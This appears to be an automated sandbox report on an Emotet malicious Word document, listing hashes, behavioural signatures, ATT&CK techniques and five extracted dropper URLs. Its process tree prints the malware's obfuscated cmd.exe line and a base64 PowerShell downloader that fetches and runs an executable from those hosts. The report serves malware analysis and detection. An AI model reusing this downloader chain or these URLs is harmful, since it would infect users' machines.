Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    43s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7v200217
  • submitted
    15-03-2020 17:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0855da5a6db49a1d2043493d292f3282845b92d4b1d4f6c55eea9026cfcda488.doc

  • Size

    87KB

  • MD5

    e416aa320c5070df1128c8d44872aeab

  • SHA1

    b2c6e3255697811c32bc7b461d161b9398e93a8f

  • SHA256

    0855da5a6db49a1d2043493d292f3282845b92d4b1d4f6c55eea9026cfcda488

  • SHA512

    8bd6ad269772e114766398c075312ac931c1fd1386887a1854336858bf0aa10fac3fd499b914e62027fd39fb40a0d8f6bd4f0fc73a1f9060e9fa78d79c269123

Score
10/10
evasionspywaretrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://freshnlaundry.com/MmU
exe.dropper

http://bravewill.org/5VKAhr
exe.dropper

http://ypsifest.com/xbrYo
exe.dropper

http://nazarspot.com.tr/dTofA3
exe.dropper

http://suicidepreventionportagecounty.org/J5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Blacklisted process makes network request 7 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0855da5a6db49a1d2043493d292f3282845b92d4b1d4f6c55eea9026cfcda488.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\system32\CMd.exe
      CMd /v^ ^ /C " Set^ ^ ^I^F^=xo^@^{r^}[{^l^l -^{^ ^JA^B^QAE(^AU^@A^%^A^G4AZ^QB3AC^0Ab@BiAGo^A^ZQBj^A^H^Q^A#A^B^O^A^G^U^A^d^A^A^uAFcAZ^QB^i^AE^M^Ab^AB^x^A^G^UAbg^B0^AD^}A^J^AB^aAEMA^d^@^A^%^ACc^Aa^AB^0A^HQAcAA^6^AC(A^L@^B+AH^#A^Z^Q^Bz^AGg^Abg^B^}^A^G^EA^d^Q^Bu^AGQAc^gB^5^AC^4A^Y@BvAG0A^L@B^'^A^G^0^AVQ^BA^AGgAd^AB^0^AHA^A^Og^AvAC(AY^gBy^AGEAdgB^l^AHc^A^aQB^}^A^G@AL^g^Bv^AH^#^A^Z^@Av^ADUAVg^BL^A^EEAaAB^yAEAAa^AB^0A^HQAcA^A^6^AC(^A^L^@B^5^AHAAc@^B^x^A^G^YA^ZQB^zA^HQAL^gB^jAG(AbQ^Av^AHg^AY^g^B^yAF^k^A^b^@^B^A^AGg^A^d^A^B0^AHAA^O^gAvAC(^Ab^gB[^A^H^o^A^Y^Q^B^y^A^HM^AcABv^AH^Q^A^L^gB^jA^G(AbQAu^A^H^QAc^gAvA^GQ^AV^A^Bv^AGY^AQQ^A^zA^EAAa^A^B^0A^HQAcA^A6AC(^AL@Bz^A^HU^A^a^Q^Bj^AGkA^Z^A^B^l^A^HA^AcgBlAHY^A^ZQB^u^A^HQA^a^Q^Bv^A^G^4^Ac^ABvA^H#AdA^B^[A^GcAZ^Q^Bj^A^G(^AdQ^B^u^AH^QA{QA^u^AG(^Acg^Bn^AC(A^SgA1^ACcA^L^g^BTA^HA^A^b^A^B^x^A^HQ^AK^AAnAEAA^J@^AxA^D}AJAB^+A^EYAVgAg^AD0^A#^A^AnA^DgA^M@^A^,ACc^A^O^@AkAF^UA{gB^xA^D0^AJABlAG4A^d^gA6A^HAA^dQB^i^AG@^A^aQBj^AC}^AJ@^BcACcAK^@A^k^AG^YARg^B^WAC}A^J@AuA^G^U^A^{ABlACc^A^O@^B+^AG(AcgB^lAG^E^AY@Bo^AC^g^A^JA^Br^AE^Y^AWgAg^A^G^k^A^bgAgACQAW^g^BD^AHc^A^KQ^B7AH^Q^Ac^g^B5AH}^AJ^A^BQ^AE(^AU^@^AuAE^QAb@B^3^A^G^4Ab^ABv^AG^E^A^Z^A^BGA^G^kA^b^A^B^l^AC^gAJA^Br^A^E^Y^AWgA^}AC^A^AJA^BV^A^H^oA^a^QA^x^A^D^}^AS^Q^B^uA^H^YAb^@BrAG^UA^LQBJA^HQA^ZQB^9^ACA^AJABVA^HoAa^QA^7A^G^#Ac^gB^l^AGEAa^@^A7^AH0^A^Y@B[^A^H^Q^A^Y^@^Bo^A^H^}A)QB^%^AC^A^A^#^AAg^ACA^A^#^A^AgAC^A^A#^AA^g^ACA^A^#^AA^g^AC^AA^#AA^g^ACA^A^#A^A=&& S^Et ^ j^Z^oY=!IF^:9=^t^!&& se^t ^ ^ ^UJ^b=^!j^Z^o^Y^:%=^9^!& S^E^T X^G^u=^!^U^J^b:)^=^f^!&& Se^T h^1^Q^2=^!X^G^u^:^x^=^p!&& Se^t ^ ^ ^SO^8Q=^!h^1^Q^2^:^#=I^!&& s^e^t ^ ^ ^gS=^!^SO^8Q^:(^=^8^!&& se^t ^p^9r=!^g^S^:^{=^e!&& S^Et ^ ^d^z=^!^p^9r^:^@^=^w^!&& SeT ^ ^K^S0=^!^d^z:^,^=2^!&& S^ET ^ D^x^8k=!^K^S0^:^'^=N^!&& s^E^T xF0=!D^x^8^k^:^[^=h!&&S^E^t ^ fd^b^t=!^x^F^0^:^+^=^m!& s^e^t ^ r^HV^e=^!^f^d^b^t^:^}^=^s^!&c^a^ll %r^HV^e% "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      PID:1956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JABQAE8AUwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABaAEMAdwA9ACcAaAB0AHQAcAA6AC8ALwBmAHIAZQBzAGgAbgBsAGEAdQBuAGQAcgB5AC4AYwBvAG0ALwBNAG0AVQBAAGgAdAB0AHAAOgAvAC8AYgByAGEAdgBlAHcAaQBsAGwALgBvAHIAZwAvADUAVgBLAEEAaAByAEAAaAB0AHQAcAA6AC8ALwB5AHAAcwBpAGYAZQBzAHQALgBjAG8AbQAvAHgAYgByAFkAbwBAAGgAdAB0AHAAOgAvAC8AbgBhAHoAYQByAHMAcABvAHQALgBjAG8AbQAuAHQAcgAvAGQAVABvAGYAQQAzAEAAaAB0AHQAcAA6AC8ALwBzAHUAaQBjAGkAZABlAHAAcgBlAHYAZQBuAHQAaQBvAG4AcABvAHIAdABhAGcAZQBjAG8AdQBuAHQAeQAuAG8AcgBnAC8ASgA1ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABmAEYAVgAgAD0AIAAnADgAMwA2ACcAOwAkAFUAegBpAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAGYARgBWACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABrAEYAWgAgAGkAbgAgACQAWgBDAHcAKQB7AHQAcgB5AHsAJABQAE8AUwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABrAEYAWgAsACAAJABVAHoAaQApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAHoAaQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Blacklisted process makes network request
        • Modifies system certificate store
        PID:1980

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1868-0-0x0000000005DB0000-0x0000000005EB0000-memory.dmp
    Filesize

    1024KB

    Download
  • memory/1868-1-0x0000000005DB0000-0x0000000005EB0000-memory.dmp
    Filesize

    1024KB

    Download